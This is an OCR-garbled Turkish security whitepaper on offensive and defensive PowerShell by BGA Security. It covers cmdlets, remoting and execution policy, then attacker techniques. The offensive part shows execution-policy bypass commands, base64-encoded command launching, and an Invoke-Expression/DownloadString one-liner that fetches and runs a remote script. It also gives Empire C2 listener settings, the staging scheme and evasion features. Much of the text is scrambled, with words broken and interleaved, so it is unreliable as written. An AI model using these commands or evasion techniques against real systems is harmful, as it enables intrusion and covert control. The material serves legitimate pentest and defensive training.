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Hakki nda

BGA Bil gi Giavenligi A. S. 2008 yilindan bu yana siber
Ul kemi zdeki bil gi gavenligi sektdr idne p kwuae BGAO n e | an
Bil gi Givenli gi A. S. , stratejik siber guvenlik dani
kurumlara hizmet vermektedir.

Ulusl ararasi gecerlilige sahip sertifikal:] 50 kisilik
USA/sdiar diren BGA Bilgi Guvenligi A.S.Anin ilgi alanlar
SOC Danismanli1 g1, Ac¢i1 k Kaynak Siber Giuvenlik Cdézumler
Guvenlik Coéziuimleri olusturmaktadir.

Gercekl estirddingis maand arki Ipiroj el er i ve egitimlerle sekt
Bil gi Giuvenli gi A.S. Kurul dugu ginden bugine al ani n¢
kuruluslarina 1.000" den fazla egitim ve danismanl 1 k p
BGA Bilg i Guvenligi, kurul dugu 2008 yi1li1 ndan beri Ul kemi
payl asi mlar i n artmasi-pagnax 1 | iidteelgeirvendli kstarr ul mas ,
etkinlikleri dizenl enmesi , Uni vergsliatnea ko girceinnc i d iebbameg
kampl ar duzenl enmesi ve sosyal sorumlul uk projelerdi

bulunmustur.

Profesyonel is hayatina BGA Bil gi Givenligi Akademi s
DALABASMAZ Certificated Ethical Hacker (C|EH), Offensive Security Certified Professional (OSCP),
Offensive Security Wireless Professional (OSWP), Offensive Security Certified Expert (OSCE) ve

eLearnSecurity We b application Penetration Tester
DALABASMAZ sirket biunyesinde Senior Penetration Test
dall arinda verdi gi egitimler ile gérev almaktadir. B
gelistirme, zararli1 yazili m aadve. bBpagss yaekni &l eai Ur
konferanslara katil makta ve si ber BfA\ecorityiBkg ikekt 6r Gn
artofpwn.com , ki si sel i ntnedrenne tp asyiltaessma kitzaedriir .
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Giris

Power Shel |l adindan da anlasilabilecegi Gzere gacl O b
sistemdeki hakimiyetlerini kol ayl astirmak amaci yl a
gébr il ebilecegi Uzebe URewém8Rreleln @iotkHukul | anit I an dill e
populer olan bir dil sistem yoneticileri tarafindan
tarafin da dikkatini ayni oranda c¢cekmistir. Power Sh
kulani | mas. bunu dogrul ar niteliktedir. Of ansi f tar a
kull anmasit demek eninde sonunda defansif tarafin da d
demektir.

RedMonk Q117 Programming Language Rankings
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XML R
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<2 VHDL S~ Emacs Lisp
2 v Racket
5 Pro(ocoelnBlmvery
£ o et
Z |
s NSIS ‘ L pLpg&aLn
§_ quwds,.nmﬂa'd ML Web Ontolo:
26 Objective-C++ i Haxe
Coq Elm
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- Modelica TeX
MAXScript Crystal
| - PureScript Nix
LiveScript )
Nimrod i bl
Chapel HeL
SourcePawrEagle SQF
i Popularity Rank on GilHub.'(uby # of Pull Requests)
Sekli-Gi t Hub Uzerinde Kullanilan Dil Yogunlugu
Bu vyazi hem ofansif (Pentest, Red Team) taraftakil er
taraftakil er i ¢cin kaynak ol mas. amaci yl a hazirl ani
derinlemesine degimnil Maye obalusclmiPotwier Shel l Ae giris
Power Shel |l ol arak bir sisteme nasi | sal diri dizenl eni
al tyapi1 si Power Shell ol dugu =zaman Power Shel Ishdeki a |
korunmal i1 gibi sorulara cevap ol mas]i hedefl enmi stir
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1. PowerShell

Power Shel |l (Wi ndows Power Shel |, Power Shel |l Core), I
sisteminde Command PromptAa (cmd.exe) ve Wi ndows Scr

ilei seviye komut sati1r uygul amasi dir. Mi crosoft, Powe
sorunl ar hirzl 1 ca co6zmek adina gelistirmistir. Si s
kolaylastirmaktadir ve sistem vy 6 nmldrdabuluhae sistemlare m yer el
Power Shel |l Gzerinden rahatli kla erisebilmekte ve isle
Ornegdgin bir sistem yodéneticisi sadece Power Shel |l Ai k u
Active Directory Uzerinde etkdmesn imeméen i her S§syiemgegine
kendi gel istirdigi Power Shel | ScriptAleri +iNoue Ozell e
i simlendir me desenine sahip varsayll an ol ar ak gel
gerceklestirebilir.

Power Shel l sistem fonksiyonlarina tam erisim kabiliyef
i stenilen hemen hemen her sey yapilabilir. Bununl a
saglanabilir. Tl erl eyen zamanl ar da PuonweyreSrhien d ggeecl eecneekk
varsayltlan Windows terminal ara yuziu olacaktir. 2016
Wi ndows isletim sistemlerd.i di st nda Linux ve Mac OS X

ol mustur.

Tl k versiyonu (2Pdwery$helnldav Wih)dows XP SP2, Wi ndows Se
isletim sistemler:i i¢cin duyurul mustur ve bu isletim
sonradan kurulum yapl!tl mas:i gerekmektedir. Vista ve !
i s | esistemierinde PowerShell kurulum ile beraber gelmektedir.

Asagi daki tablo da kurulum ile gel en Power Shel l ver
veril migstir.

20 20,30, 40

20 20,30, 40

50 20,30, 4.0

50 20,30, 40
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1.1. Cmdlets

Cmdlet (Command -Let ) Al louWVei Bi ml endir me dese@etSewicesGhip (Orr
Process gibi) varsayilan ol arak gelen spesifik komut
Cinkid Cmdl et Al er calirstiril abilir dosyal ar (standa
ClassAlaritdir.

Get- Process Cmdlet

Windows PowerShel |
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\ Users\ hlldz> Get - Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id Sl ProcessName

232 13 3760 15864 0,09 1376 1 conhost
228 12 3756 15344 0,55 3108 1 conhost
227 13 3800 17480 0,06 4600 1 conhost

232 12 3756 14796 0,48 4880 1 conhost

388 12 1492 3588 580 O csrss

296 15 1556 3748 660 1 csrss
Power Shel |l icerisindeki Cmdl et Al erin neler oldugunu
aranmak isteniliyorsa Get-Comman@md | et Ai  kul l ani I arak bu islem gercelk
olarak CmdletAlerin isimindeidBRragdeaxnsy sdegenl erin | is

2 Windows PowerShell

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz> Get-Command Process

|/ | CommandType Name Version Source

Cmdlet Debug-Process .1.0. Microsoft.PowerShell.Management
Cmdlet Get-Process 2 G Microsoft.PowerShell.Management
Cmdlet Start-Process 3.1.0. Microsoft.PowerShell.Management
Cmdlet Stop-Process c22 05 Microsoft.PowerShell.Management
Cmdlet Wait-Process 23100 Microsoft.PowerShell.Management

PS C:\Users\hlldz>

S e k2i- Get-Command Cmdlet

1.2. Pipeline

tsletim sistemlerinde bir uygulamanin c¢1 kti1si1ni bask
akisin yorumlanip iletil mesi i sl emice PipelimeAldededt
Boyl ece Power Shell; tek bir kod satiri1 ile birden c¢ol
alt kumesinde kolayli kla degisiklikler yapmani za vey:
nesnel er Uzer i ncdeek leeyslteimlineerk gaemaci1 yl a kull anmani za ol a
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2. Windows PowerShell

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz> Get-Process | Select-Object Id,ProcessName
ProcessName

audiodg

conhost

conhost

conhost

CSrss

csrss

dllhost

dwm

explorer
fontdrvhost
fontdrvhost
GoogleUpdate

Idle

lsass
ManagementAgentHost
Memory Compression
MSASCuil

msdtc

MsMpEng

S e k3i- Pipeling

1.3. Remoting
Power Shel l v 2 il e gel en Remoting 6zelligi sistem y¢
sistemlere Power Shel | Gyédmienaedn!| enei gmeherioheana& sagl
ile Remoting Odzelligi yenilenmis ve daha da gelistir
dedgil Linux ve Mac OS X isletim sistemlerini de kapsa
i sl etsmeml erine de kullanitlabilir ol mustur
Ornedin uzak sistemdeki Power Shell Ae eri s mek, komut
scripti calistirrmak isteniliyor. Bunun yapilabil mesi
Masaulust Bag!l aynmatpiispt  a(rRIDM)d an uzak sistemin Power She
gerceklestiril mesi ol abilir. Ancak Power Shell Remotir
kendi yer el sisteminizdeki Power Shell Ae erisim sagl:
Power Shel |l Ade Remoting O6zelliginin aktif ol mas. yeter
gerceklestirip terminal ara ylzlerine erisim sagl anma

tsletim Sistemi Varsayil |l an Remoting

Server 2008 R2 Kapal i

Server 2012 Ac1 k

Server 2012 R2 Ac1 k

Server 2016 Ac1 k

BGA Security | www.bgasecurity.com
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Power Shel |l Ain Remoting 6zelligi yer el sistemde ¢cal
sistemlerde de c¢alistirmaniza olanak sagl amaktadir.

bu sekilde uzak sistemlerde ¢alismak veya sonucg¢l arini
bir Cmdl et icin bu o6zelligdgi sagl amak yerine Microsof
iletisim altyapisit gel i sti rpemaenk ztal m | alntayjka pslayyd aemisgiipg .

1.31.Et ki nl estir me

Remoting o6zelligini varsayllan olarak aci k gel meyen
get i r me kkEnahleg PSRemoting Cmd | et Al kul | anrHomd iparametresi lemd | et

cal i stiri 1l di g1 nag aimadas Rémeting Servid direkt otarak aktif hale getirilecek ve

gerekli ayarlar yhBopcepacameét resiCmdl madan kullanil di grn
icin onay sorulacaktir. tsl eml er sirasi yl berabel Wi nRM s ¢
otomati k c¢calisacak sekilde ayarl anmasi, Listener ayar
baglanti Il arin dinlenmeye basl anmasi, Remoting ile il

seklindedir.

1.32.Nas 1 | Cal i1 s1yor

Asagil da Stek i IPbaverd3h el | Remoting 6zelliginin cal 1 s me
calit st I mistir. st emci 1 i simli sistem tstemci 2 i
Gzerinden baglanmaya c¢ali smaktadir.

s N s )

WSMan WinRM Servisi
(HTTP) (HTTP Listener)

@ powershell.exe @

istemci 1 / istemci 2 /

S e kdi- PowerShell Remoti ng
1. tstemci 1 sistemi kendi tzerindeki WSMan (Web Servi

ge¢cmektedir. WSMan bircok baska protokolud kapsull em

>

powershell.exe

BGA Security | www.bgasecurity.com



Ofansif ve Defansif PowerShell

protokol dur. Remoting o6zelligi varlslaagnilranamdak aKTT

protokol dniu kullanmasi saglarak kolayca baglanti si
2. tstemci 2 sisteminde ise WinRM Servisi cal i1 smakt adi

sahip olabilir ve her bir Listener belirli bir protokolden (HTTP veya HTTPS), belirli bir IP adresi

ve belirli bir port numar as.| icin WSMan trafigi be

Li stener Al ardan birisi bir trafik al di g1 Zaman il

Power Shell Aden s 8z 2eAdniiyno rsuizs tveemitnsdtee nPcoiwer Shel | ot ur
Sekil 4Nt e Tst e mcpowergh@lliexen psiosteesmiindeas!| 1 yor mus godziukdu
sadece kol ayca anl asi | mas.| i ¢i n powaspaléxmi sda gi.l Nor |

wsmprovhost.exe isimliprocess basl|l ayacakt 1 r .

1.4. Execution Policy

Execution Policy, Power Shel |l Ain i ¢cin hangi kosul |l a
politikalardir. Execution Policy yerel sistem, herh
oturumu ic¢in ayacral akalblianrci lAayrr veya sistemler i ¢cin
Gzerinden de yaptlabilir. Power Shel |l Adeki varsayll an
veril mistir.

tsletim Sistemi Varsayll an Executi on

Server 2008 R2 Restricted

Server 2012 Restricted

Server 2012 R2 Remote Signed

Server 2016 Remote Signed
Execution Policy bilinenin aksine bir guvenlik onl e
kull ani ci1 lcaarliing tkiarzaacraak | ar 1 scriptlerin yol acacag!r za
Restricted, en guvenilir kabul edilen politikadir cunkid sa
misaade eder. Yani komutl ar sadece teBupplgikadacal 1 st 1 |
scriptlerinin nereden gel di gi (yerel ag Gzerinden v
ol mamal ari1 gi bi konular ile ilgilenilmez ve herhangi
AllSigned,bu pol iti kada Power Slgéivleniikeri nderstadbeer taraf.i
scriptlere izin verilir. Ayrica imzalanmi s bir script

BGA Security | www.bgasecurity.com
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RemoteSigned,bu pol i ti kada vyerel sistemde olan scriptler ¢
indirilen sdovepitlier otonitgeler tarafindan i mzal anmis
calirstirril1rken herhangi bir onay alma gereksinimi du
Unrestricted, bu pol i ti kada herhangi bir ki1 sit ol madan i ster
baki Il maksilzim. c8ddsgstcerscript internet UGzerinden indir
Bypass,bu politikada ne bir kisit ne bir wuyar. ne de bir
script calirstirrilabilir.

Undefined, gecer |l i kapsamda belirl emnm? &l ihey hathagn mad ir§ IExdcewrud
belirtilen kapsamlar ic¢in herhangi bir Execution Pol |
politikas:i atanacaktir.

Power Shel |l Uzerinde Executi on Bet{EkecwionPoliew i @mdli et Ai6gr e
kul lagorn il li r . Execution PolicyAi degistirmek ic¢in Admin
oturumunda, Set-%@AAOOET T 011 EAU _ 9ékIEAtUde! AiCl,gi li Cmdl et c¢al
zamanda Execution PolicyAi degi st ihrtnmeyka ¢i ¢diuny nhaedrahna nygein
Power Shel l ot ur ZhxecutiordPglitya tprarrkaeme t r e s i kull ani | abilir. I
ol arak hangi seviye isteniliyorsa verilebilir, basl a

Policy istenilen sekilde dakgrl aBnimsbeml asagi daki ekran

A

| B Windows PowerShell

s PowerShell
ht (C) 2816 Microsoft Corporation. All rights reserved.

cd Desktop
ktop> Get-ExecutionPolicy

s\hlldz\Desktop> powershell Bypass
owerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz\Desktop> .\policy.psi
PowerShell Rocks!
PS C:\Users\hlldz\Desktop>

S e kbi- Execution Policy

BGA Security | www.bgasecurity.com
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2. Ofansif PowerShell

Power Shel |l nasi | K i sistem yoéneticilerine ciddi a
kull anil di grndbd amaygni yaraftakiler de el de edebilir.
Power Shell kull anmal ari1 i¢in bir¢gcok neden siralanabil
x Vista ve Server 2008 sonrasi| tdm Windows isletir
gelmekt edir.
x Diske dokunmadan hafizada (Memory) kod calistiril
x Anti-Forensic dostudur, normal sartlarda hedef Uzeri
x Power Shell RemotingAin aktif oldugu sistemlere di
saglanabilir.
x PowerShellbir scripting dild@ ol dugu ic¢cin Obfuscation |
cogu guvenlik Uridnine karsi tespit edil me konusun
x Sistemler sikilastirilirken Power Shel | genel de gé6
x Topluluk sayesinde kbolragyocka aecriiks ekbayinark ,ve biaydak i s
vardir.
x powershell.exeAnin kendi si Signed ve Legal i sl et
Application Whitelisting 0Ordnl eri icin st kilastir
x  Low-level veya high-level hemen hemen i stenilen her sey Power She
FrameworkAe ve Sistem Cagririlarina (WinAPU) tam e
x Power Shell nor ma l sartl arda, isletim sisteminde
saglayacak herhangi rhaikr odiuls twe ud nduisl dkouslylaalnaar Uz er
islem yapitlabilir. Ornegin, .BAT, .DOC, .XLS, .PP
Yukar i1 daki nedenl erden dol ayi sal dirganl ar, penteste
st kl 1kl a kultllaenrillényagknil addriirn., Power Shel |l sal dir altyap
ve nelere dikkat edil meli sorularina cevap ol mas]| hed

2.1. Execution Policy

Power Shel |l Ade Execution PolicyAnin ne ol dudgu hakkind.
Execution Pol i cy bir guvenlik &ddnl emi ol mamasina ragmen var
calistiri |l masi ni ki sitl amaktadir. Bu engel bircok f
tanesinden bahsedil migstir.

ExecutionPolicy par ametresinin ddggerneyveBypasek Execution P
bunun i¢in herhangi bir yetkiye ihtiyac¢ yoktur. Boyl
cal 1 s1 | abFild par amgtreaine verilecek scriptin dizin yol
direkt scriptin calistirilmasit saglanabilir.

ExecutionPolicy Parametresiyle

powershell - ExecutionPolicy Bypass
powershell - exec bypass
powershell - ExecutionPolicy Bypass - File C: \dizin \script.psl

BGA Security | www.bgasecurity.com
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Invoke-ExpressionCmd | et Ai il e Power Shell komut veya kodlari1 ¢
Gzerinden erisilen bir script Execution PolicyAe taki
yontem ile disk UOzerindeki scrrndcga iag niaserdi ghdn senirgil le
nasi |l c¢calistirilacagina ait o6rnekler verilmistir.

Invoke -% @D OAOOETI T el A $EOE °UAOEI AAT 3A0OEDPO KAI C

Invoke - Expression -Command'C: \ dizin \ script.ps1"

"C:\dizin \script.psl" | Invoke - Expression

Invoke -%@D OAOOEN TG ¢IURAOET AAT %OET EI Al

Invoke - Expression (New Object Net. WebClient ). DownloadString (' http://ip -
Domain/script ")

EncodeCommandpar ametresine deger olarak c¢alistirilacak kor
edi |l mis hali verilebilir. Bu sekilde Power Shel |l cagir
calirstirrilacaktir.

[Convert]::ToBase64String( [System.Text.Encoding]::Unico de.GetBytes("KOMUT"))

komutu il e Power Shell komutl ar Base64 ile encode edi

EncodedCommand Parametresiyle

powershell - e RWBIAHQALQBQAHIAbwBJAGUAcwWBzAA==
powershell - enc RWBIAHQALQBQAHIAbwBjAGUAcwWBZzAA==
powershell - EncodedCommand RwBIAHQALQBQAHBIBBUAcwWBzAA==

2.2. Empire

Empir e, hedef tarafta Power ShelElxpladittyapienniar &aal | are
EmpireArn sunucu taraf. Python ile gelistirilmistir.
di | i kull ani | arakzi1 geildesrtiigiiddm s tbiarz.i Yreo k't al ar da E my
karsitlastirri I mstir. Ancak Empire MeterpreterAin alt
degi l dir, t amamen farkl i al anl arda projelerdir. B
karsi |l astisreblemas Meitrer preter Ain yaygitn Kkull ani mi ve k

amaca hizmet etmesindendir.

Empire hali hazirda bir Windows sisteme si1zildi ktan s
fazlasini gerceklestiracek b¢ergskndeabar i mddiolrol Emp
far kI isletim sisteminde c¢alisabilir, basta Wi ndow
sistemlerinde kullanitlabilir. Windows isletim sistemi
i sl estiismeml eri ic¢cin gelistirilen moduller Python taban
sunucunun arasitindaki iletisimin guvenligini arttirriuir
asagliya olacak sekilde adim agtmrsemati ze edil meye ¢a

BGA Security | www.bgasecurity.com
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Empire Stager'i Hedefe Génderilir

- ~ Stager ilk Baglantiy Kurar
Agent Hedefe Gonderilir
s Oturum Agilir
unucu < Hedef
(Empire)
Gérev Gonderilir (Orn. Mimikatz)
Sonuglar Génderilir
& /
Sekéi-Empire Cali sma Yapi! s
EmpireAl kull anabil mek i¢in 6ncelikle Listener ayar/l:
ardindan olusturulan Listener ic¢in Stageal wdtuwsrtwlrwg ul
olusturul an payloada go6ére dinleme moduna gec¢cil mez.

2.2.1.Listener

Empire her Zaman reverse (ters) bagl ant kabul eder
yont emini kull anir. Ayni-kamamaoldam®&riopbioxolkamak da ku
Empire bu konuda da birc¢cok cesitliligi sunmaktadir. /
Listener listesi ve ac¢i klamalari1 verilmistir.

(Empire: ) >

(Empire: ) > uselistener

dbx http http_com http_foreign http_hop meterpreter

dbx, Dropbox altyapi si kullanilir ve Agent Al ar Dropbox |
kontrol merkezi ol arak kul l anit I mis ol ur.

http, i l eti sim i¢cin HTTP(S) protokold kullanitl1r, Rever s
http com, i | eti sim i ¢in Net . WebClient yerine iletisim ku
nesnel erini kull anir.

http_foreign, birden fazla komuta kontrol merkez i ile calisil digi duruml ar da
aktari |l masi ni icin kullani |l i1r.

http_hop, Met aspl oi t i cerisindeki Reverse Hop HTTP payl oad
gel en baglantilar baska bir ListenerAa goétnderil mek ig¢
meterpreter , h al i hazirda eri si m kumaterpretergevarse Nttpar véya er i nden
meterpreter/reverse_https payl oadlarina ait shellcodelar enjekte
Eger bir RAT gelistiriyor veya kullaniyorsamraditremel c
Bunl ardan il ki iletisimdir. Hedef sistemde cal i1 sac
kurabil medir. Pl etisim guvenligini i kiye aytrabiliri

cekmemek ic¢cin hedef sistemdekki sdaigdeary atbrid frmek Ikearbe | b eynezt e
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Raw TCP soketl eri Gzerinden iletisim kurul mamasi , bun
verilebilir. tkincisi i se acil k (sifrelenmeyen) prot
kabiliyetidir.

Empire bu iki konuda da ol dukc¢ca basaritl 1 dir. Direkt o
trafik icerisindeki veriler sifrelenir. EmpireAda ha
sifrelenir, boylece trafik mecelendiegil eamanaktaar ol &
oranda zorl asir. Ayrica bu durum trafik i¢in imza ya
MeterpreterAa baki |l di g1 zaman ¢ogu payload tdaridnde t

Listenerubmustur ve asagirda ayarlarina ait ekran goru

(Empire: ) > info

Name: HTTP[S]
Category: client_server

Authors:
@harmjoy

Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.

HTTP[S] Options:

Name Required Value Description
KillDate Date for the listener to exit (MM/dd/yyyy).
Name Name for the listener.
Launcher powershell -noP -sta -w 1 -enc Launcher string.
DefaultLostLimit 60 Number of missed checkins before exiting
StagingKey Q[9Z”yoJ1vc74gb; zr#s5!+H3IK~Yxj@ Staging key for initial agent negotiation.
BindIP 0.0.0.0 The IP to bind to on the control server.
DefaultProfile /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
ServerVersion Microsoft-IIS/7.5 Server header for the control server.
WorkingHours Hours for the agent to operate (09:00-17:00).
Host http://172.16.186.179:80 Hostname/IP for staging.
CertPath Certificate path for https listeners.
Defaultlitter 0.0 Jitter in agent reachback interval (0.0-1.0).
DefaultDelay 5 Agent delay/reach back interval (in seconds).
Port 80 Port for the listener.

(Empire:

S e k7i- Empire HTTP Listener

Empire iletisi mi sifrelemede anahtar degi si mi i ¢cin Ero
Empire Stager Al hedef sistemde calirstidgrnda vV e i | k
mer kezindeki (EmpireAl n Kk stagerbsd mscripti, Z il gii mde Lhslt emam) ay
gobre dizenl eni p hstadeedsk Lg Gt ceenreirl iary.ar | @tagingkkyede daerain a n

AES anahtar 1 ol arcaankd ogmd kzieldd eXOcRa sael gor i t masi1 il e sifrel
i¢cin anahtar degi samkhdedegstiget el wvet ifl| nStagingkey ur . tlg
degeri baslatici (Launcher, hedefte c¢calistirilan payl
rastgele RSA private ve public anaht ar | aStagingKejhedef i n
dedgerini kull ani p, AES ile sifreleyip RSA public anal
noktada sunucu tarafinda on i ki k aSSESSKONKEXY e duezruin | Wwrjeutnidlai
Bu noktada sunucu, zaman dilimini ve rastgele AES oturum anaht ar 1 ni Agent At n publ
kull anil arak sifreleyip, AgentAa goénderilir

Agent gelen veriyi aclp, cal 1 st g sistem hakkinda t
Kull anici s, PUD vb.) bil gileri y e erive koB@8a kontralr um ana
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mer kezine goénderir. Son ol aagarkpsk smui @at koht ddlzemkbekep
gébnderir ve arti k Agent komuta kontrol merkezine ol an
(Beaconing) baslar. Agyegid& ahahtigi miegicegirmin sSema ver

Ofansif ve Defansif PowerShell

Control Server Client

— 1. GET /<stage0>
2. return key negotiation stager.ps1 w/ shared AES 3 i
staging key %

[
A

— 3. gen priv/pub keys, post ENCstaging(PUB) to /<stage1>

[
A
y

4. return ENCpub(epoch + AES session key)

5. decrypt session key, post ENCsession(sysinfo) to /<stage2> -

6. return ENCsession(agent.ps1) patched with key/delay/etc.
and register agent. Agent starts beaconing. 5

Sek8-Empire Sifreleme ve Staging Semasi

EmpireAin trafik konusunda baska 6éne ¢i1 kan 6zellikler
gecikme (DefaultDelay parametresi)ile ba gl ant | kur mas:| saglanabilir. Bu
i htimalini dusurmektedir. Ornegin MeterpreterAa baki |
payl oad siarekl: ol arak komut kontrol mer kezi il e ilet

baldnlgi nda bile trafik dikkat c¢ekmektedir.

Ay ni zamanda Empire icerisinde hedeft e WorkingHogra)n Agent

ayarl anabilir. Ornegild, Obhedaht karumab@s00da c¢al i1 siIyol
di st nda komumtea klkeamntrndle bagl ant Kur masi ni sagl anabi | |
gerceklestirilebilir. Cali sma saatl eri di st nda c¢al1s
al arml ar aktif ol dugunda avant aj sagl atarmlar€iedef 0 me s aii
tarafta midahale c¢ogunl ukla geci kmel i gercekl esecekt
insan faktdédrid genel de, mesai saatlerindeyken gercekl e
Agent Al n k omut kontr ol mer kezi i 1l e tilceetkingei mi hei ngae ci
dustrdlebilir ancak baska avantajlari da Empire sagl a
Agent HTTP(S) protokold UGzerinden iletisim kuracaktir
trafigi gi bi go6zikecaxlekn,i rAg 88rutr aldear 0snefmdrii nde ayni di z
calisirsa bu normal bir Web Browsing trafigi olarak g
edilebilir. AgentAirn komuta kontrol mer kezi ile ileti
(DefaultProfile ) il etisi me gececegine vV e bu i | eAgensi m ger
(DefaultProfile ) degerini kull anacagina karar verilebilir.
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Asagida o6rnek olarak EmpireAin AgentAirnin komuta kot
goridntidas@tver iviemiortal ama bir saldiri esnasinda trafil

mpirepeap
File Edit View Go Capture Analyze Statistics Telephony \Wireless Tools Help
Am 2 ® RE Re=2=2F 8 ®Reen
[ [X] ~| Expression_. | +
No. Time Source Destination Protocol  Length Info
4 ©.000696 172.16.186.188 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/L.1
- 11 0.410230 172.16.186.179 172.16.186.180 HTTP 922 HTTP/1.@ 200 OK (text/html)
28 2.117617 172.16.186.180 172.16.186.179 HTTP 516 POST /login/process.php HTTP/1.1 P )
23 2.150296 172.16.186.179 172.16.186.180 HTTP 519 HTTP/1.@ 200 OK (text/html)
32 2.601858 172.16.186.180 172.16.186.179 HTTP 244 POST /login/process.php HTTP/1.1
61 2.624950 172.16.186.179 172.16.186.186 HTTP 467 HTTP/1.8 280 OK (tEKtt'htllll)
68 8.169786 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php ATTP/1.1
71 8.133111 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.© 200 OK (text/html)
78 13.177175 172.16.186.180 172.16,186.179 HTTP 263 GET /lagin/pr‘o(ESSAphp HTTP/1.1 4
81 13.197455 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.@ 20 0K (text/html)
28 18.241083 172.16.186.180 172.16.186.179 HTTP 354 GET /news.php HTTP/L.1
91 15.265200 172.16.186.179 172.16.186.180 HTTP 324 HTTP/1.0 280 OK (text/html)
166 18.518838 172.16.186.180 172.16.186.179 HTTP 276 POST /admin/get.php HTTP/1.1
1683 18.59@882 172.16.186.179 172.16.186.180 HTTP 436 HTTP, text/h
110 23.646541 172.16.186.180 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/L.1
113 23.668399 172.16.186.179 172.16.186.180 HTTP 236 HTTP/1.8 260 OK (text/html)
120 28.708660 = v - 179 HTTP 259 GET /admin/get.php HTTP/1.1
123 28.734864 5'er Sar cikme JEH HTTP 436 HTTP/1.0 200 OK (text/html)
130 33.770087 10 {56,150 17216, 186.179 HTTP 254 GET /mews.php HTTP/1.1 Gorev Kontrolii
133 33.794947 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.@ 200 0K  (text/html)
140 38.833284 172.16.186.180 172.16.186.179 HTTP 263 GET /login/process.php HTTP/1.1
143 38.855747 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.@8 200 0K (tEKtt'htllll)
150 43.900148 172.16.186.180 172.16.186.179 HTTP 25 GET /news.php RTTP/1.1
153 43.924120 172.16.186.179 172.16.186.180 HTTP 965 HTTP/1.@ 200 OK (text/html)
162 44,117635 172.16.186.180 172.16.186.179 HTTP 148 POST /news.php HTTP/1.1 —
165 44.169278 172.16.186.179 172.16.186.180 s 436 HTTP/1.@ 208 0K (text/html)
172 49.338286 172.16.186.180 b/ L . 259 GET /admin/get.php HTTP/L.1
175 49.352109 172.16.186.179 1 436 HTTP/1.@ 200 OK (text/html)
182 54.339898 172.16.186.180 172.16.186.179 N 354 GET /news.php RTTP/L.1
185 54.411173 172.16.186.179 172.16.186.180 HTTP 324 HTTP/1.@ 200 OK (text/html)
194 54.507212 172.16.186.180 172.16.186.179 HTTP 164 POST /admin/get.php HTTP/1.1 )
197 54.553703 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.8 260 OK (text/html)

Sekdi-Empire Ag Trafigi

Asagir daki ekran goéridntisinde de gorilecedgi ltzere he
gercekl estiri FAwgeeknttd dbkasbiUsgersi nde d\ggeay ardleagrean nUserge

gobr il mektedir. Ayrica sunucu tar aflinsl/a7 .dsa dSlearvaekr goeacsn

" o : . Co Co . . L
ve tim bu degerler istenildigi gibi degistirilebilir
“
4m ;0 RB Qo=
[ [http.request [X] ~ | Expression...  +
No. Time Source Destination Protocol  Length Info
1* 4 ©.000696 172.16.186.180 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/1.1
20 2.117617 172.16.186.180 172.16.186.179 HTTP 516 POST /login/process.php HTTP/1.1
32 2.601058 172.16.186.180 172.16.186.179 HTTP 244 POST /login/process.php HTTP/1.1
68 8.109706 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php HTTP/1.1
78 13.177175 172.16.186.180 172.16.186.179 HTTP 263 GET /login/pro(ess.php HTTP/1.1
88 18.241083 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php HTTP/1.1
100 18.518838 172.16.186.180 172.16.186.179 HTTP 276 POST /admin/get.php HTTP/1.1

110 23.646541 172.16.186.180 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/1.1 \
120 28.708660 172.16.186.180 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/1.1 . ‘
130 33.770987 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php HTTP/1.1
140 38.833284 172.16.186.180 172.16.186.179 HTTP 263 GET /login/process.php HTTP/1.1
150 43.900148 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php HTTP/1.1
162 44.117685 172.16.186.180 172.16.186.179 HTTP 148 POST /news.php HTTP/1.1
172 49.338286 172.16.186.180 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/1.1
182 54.389098 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php HTTP/1.1
194 54.507212 172.16.186.180 172.16.186.179 HTTP 164 POST /admin/get.php HTTP/1.1
GET /login/process.php HTTP/1.1 POST /admin/get.php HTTP/1.1
Cookie: session=+AkSAXkc2DQHHLUbV3CB3XUBYaA= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.@; rv:11.8) like Gecko
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.9; rv:11.8) like Gecko Host: 172.16.186.179
Host: 172.16.186.179 Content-Length: 222
Connection: Keep-Alive Connection: Keep-Alive
HTTP/1.@ 208 OK DR, 150 21 13 ISRt 7 O Y FO A8 |- YK G A YOS (SRRt - 4
Content-Type: text/html; charset=utf-8 .y .GXG. . . XO: s.tNI.
Content-Length: 173 AR 3 |0 Fadvaa b s BT s sis ais i B2 oW
Cache-Control: no-cache, no-store, must-revalidate .y3...%h.Y LN B
Pragma: no-cache 4E.. %*...s[M..k#tbg.....
Expires: @ . .BX.HTTP/1.0 200 OK
Server: Microsoft-1IS/7.5 Content-Type: text/html; charset=utf-8
Date: ‘W e = -y g Content-Length: 173

Cache-Control: no-cache, no-store, must-revalidate
<html><body><h1>Tt works!</h1><p>This is the default web page for this server.</p><p>The| |Pragma: no-cache

running but no content has been added, yet.</p></body></html> Expires: @
Server: Microsoft-IIS/7.5
Date: w= — s E e

SeklDiEmpire Ag Trafigi
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2.2.2.Stager

Wi ndows isletim sisteminde Power Shell Ain c¢cagirilabil
dogal ol ar ak Empire Stager Al da kullantlabilir. Emp
